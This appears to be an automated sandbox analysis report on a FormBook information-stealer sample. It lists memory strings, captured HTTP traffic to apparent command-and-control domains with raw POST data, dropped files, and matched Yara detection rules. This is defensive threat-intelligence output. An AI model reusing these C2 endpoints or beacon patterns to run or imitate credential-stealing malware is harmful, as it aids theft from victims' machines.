Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vestostore.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vestostore.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vestostore.com/co63/www.saleschildcarriers.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.vestostore.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390741938.000000000575B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390741938.000000000575B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnvaB

Source: unknown

HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.vestostore.comConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.vestostore.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.vestostore.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 32 38 41 5a 59 73 77 35 63 54 4c 46 6c 6c 7e 72 63 52 6a 69 53 52 72 50 52 52 64 4c 4f 4b 68 33 59 31 47 67 56 6d 7a 76 79 42 34 68 63 52 69 68 6d 56 30 6d 52 74 37 30 47 41 76 6d 76 78 75 31 7a 38 59 68 77 37 42 48 6f 36 4e 4d 71 71 6a 34 71 35 50 61 53 73 72 71 76 5a 71 63 62 68 54 39 34 6b 59 70 6f 4c 28 6c 35 7a 4b 46 33 35 63 6f 52 61 41 44 30 46 35 75 4c 4a 66 71 28 6c 48 53 63 54 56 70 36 74 69 56 6d 43 54 33 67 38 33 54 35 36 58 6b 64 38 62 50 57 70 78 72 66 59 76 5a 6c 61 74 67 4c 66 32 50 41 4f 38 39 63 67 32 51 4a 63 4c 5a 57 57 72 2d 59 6f 28 41 6a 78 4d 70 75 79 65 50 6e 41 5a 4c 63 46 54 49 45 6f 4d 32 28 68 77 37 6b 69 69 6b 49 6d 71 79 53 75 4a 35 79 30 71 46 37 4d 6d 6b 7a 62 4c 55 65 6f 70 46 68 79 6b 7a 28 34 66 7a 6c 4b 51 30 35 55 4e 39 61 69 79 64 5a 4d 68 48 30 4e 68 5a 45 6d 56 34 31 5a 61 70 71 42 5a 6c 47 69 67 4e 78 52 69 6d 30 71 78 7a 42 57 74 57 41 52 73 48 74 38 75 73 6d 30 52 33 68 58 53 57 75 42 6f 5a 70 50 61 72 6b 4c 77 75 55 54 6a 6d 6f 47 59 77 4d 72 75 50 35 4a 33 35 4e 71 68 47 7e 31 32 62 58 6d 46 6f 35 56 52 54 65 37 67 43 59 69 70 66 53 63 33 35 37 54 6c 7a 42 34 35 55 58 2d 4f 4d 7a 6a 33 49 28 63 62 55 61 72 55 77 76 73 66 72 41 62 33 79 73 79 34 72 77 2d 70 61 37 72 6b 5a 71 63 62 42 4e 4d 45 32 6b 71 73 6e 55 66 6f 74 6a 69 64 39 50 43 67 6f 45 30 38 5a 36 79 4b 6e 45 6d 76 4a 62 5f 6c 59 46 68 57 53 4d 6c 48 45 6f 34 79 2d 28 51 6d 59 43 4b 4d 4a 45 32 4c 46 5a 77 65 63 4e 6f 6a 76 33 43 43 70 68 54 38 79 4c 59 56 57 67 70 49 55 54 4b 32 53 33 34 69 37 6f 48 50 6f 42 34 73 4a 46 58 76 4c 51 6f 34 63 41 5a 76 77 6c 63 44 48 64 67 36 62 43 59 51 44 67 37 6d 6f 6e 66 33 54 46 6e 79 56 7a 56 28 79 38 7a 59 79 6a 73 6d 77 6b 7a 32 5a 72 56 34 49 30 39 79 4b 69 53 5a 68 62 74 43 57 61 48 43 36 61 50 5a 77 54 6d 70 51 42 75 37 58 66 74 28 39 55 31 4f 68 73 71 70 5a 67 7a 5a 43 50 4a 33 39 42 36 34 4d 43 6d 69 58 62 38 69 64 53 31 64 67 36 68 64 79 42 30 6f 32 7e 6e 5a 5f 56 47 64 74 50 37 57 62 33 69 67 47 34 50 38 53 59 6d 34 53 47 46 32 42 35 4c 47 58 65 6b 49 58 78 41 37 37 5a 63 30 42 71 50 31 58 6f 66 34 63 36 33 70 4e 68 59 43 76 38 62 34 62 36 61 6b 58 67 2d 51 6a 74 31 6b 55 4b 73 58 74 75 36 51 45 65 61 36 6f 79 6f 46 47 66 6a 28 45 47 56 68 6a 4a 74 32 46 31 69 41 6e 47 39 6b 73 69 35 33 7a 69 43 37 4b 61 48 7a 47 7a 69 78 54 62 38 42 4f 6b 53 32 76 74 30 4e 34 46 71 6a 36 78 65 51 49 61 4c 4d 6a 4e 33 57 36 51 43 6c 4f 6c 56 44 47 68 62 39 49 69 4f 4a 4e 59 32 49 76 6e 6d 34 78 28 72 44 38 35 45 70 42 56 77 4f 46 78 4a 4b 6b 6d 6a 39 35 68 7a 4a 64 4a 69 56 51 32 79 5a 62 59 4

Source: unknown

DNS traffic detected: queries for: www.vestostore.com

Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=+eMjGIULdB7b+FjbEEC2CFnAZBB7ZIs3DDH5LmXZiTUQNAaNvk9FU6ysQ2HcgTeGr7Jo&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.vestostore.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=gtjAeIS6VJWpMIOvAorICaUf7+ed7+VEBFwjlL0fBy8QswGl2t9TVUNzPjmUB+tmUyAO&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.saleschildcarriers.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=dh5wnP7Ug0+YjaaSPNPjWLPMAAuifa570LEC5RUEdgVY9PwZv9hNJ3RIsZJs9uSwpSOZ&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.ballthingsez.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=7844uNirl1OmKo/iz3P/xC/n+TlWcrf11+et7B27/2a6MTbhGvfvyecJXVPFAq5Jbxq/&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.dlafluid.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=McyR/z78/oMNrvlFuqxD/V8JfWPC4TTnrx7QyB/aq5OEZJfdbD3j+IdLq+ssY6HN52vi&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.myccsmartmove.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=C9mZAu2amj0/7xzN/ZGYFZ9Os9Pxtlf2WxsFucW+74+VhIoIvzmW589U18pQtRovant4&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.takealicense.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /co63/?aJElwV=3AiLeGuBi37RfNw9iEe1gED9S58L9D44LalDhi66HjPelwFncooMVS2PHplI6kLySndc&lz=9rXXjDMXIb6HXH- HTTP/1.1Host: www.mattewigs.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.426300401.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud

Detected FormBook malware

Source: Yara match	File source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: C:\Windows\SysWOW64\rundll32.exe	Dropped file: C:\Users\user\AppData\Roaming\479O54QF\479logri.ini			Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped file: C:\Users\user\AppData\Roaming\479O54QF\479logrv.ini			Jump to dropped file

Malicious sample detected (through community Yara rule)

Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe PID: 6908, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe PID: 5416, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: rundll32.exe PID: 6192, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 10.2.SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000002.430843859.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.911001855.0000000000E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.911590172.0000000004B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.911556119.0000000004B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.435031678.0000000003EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe PID: 6908, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe PID: 5416, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: rundll32.exe PID: 6192, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 0_2_0125C884	0_2_0125C884
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 0_2_0125ECA1	0_2_0125ECA1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 0_2_0125ECB0	0_2_0125ECB0
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Code function: 9_2_02E0C884	9_2_02E0C884
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Code function: 9_2_02E0ECA1	9_2_02E0ECA1
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Code function: 9_2_02E0ECB0	9_2_02E0ECB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041E879	10_2_0041E879
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041E009	10_2_0041E009
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00401026	10_2_00401026
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00401030	10_2_00401030
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041E111	10_2_0041E111
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041E1A1	10_2_0041E1A1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041E461	10_2_0041E461
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041DD82	10_2_0041DD82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00402D87	10_2_00402D87
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00402D90	10_2_00402D90
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00409E5B	10_2_00409E5B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00409E60	10_2_00409E60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041D67D	10_2_0041D67D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041EF09	10_2_0041EF09
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0041D7AE	10_2_0041D7AE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_00402FB0	10_2_00402FB0
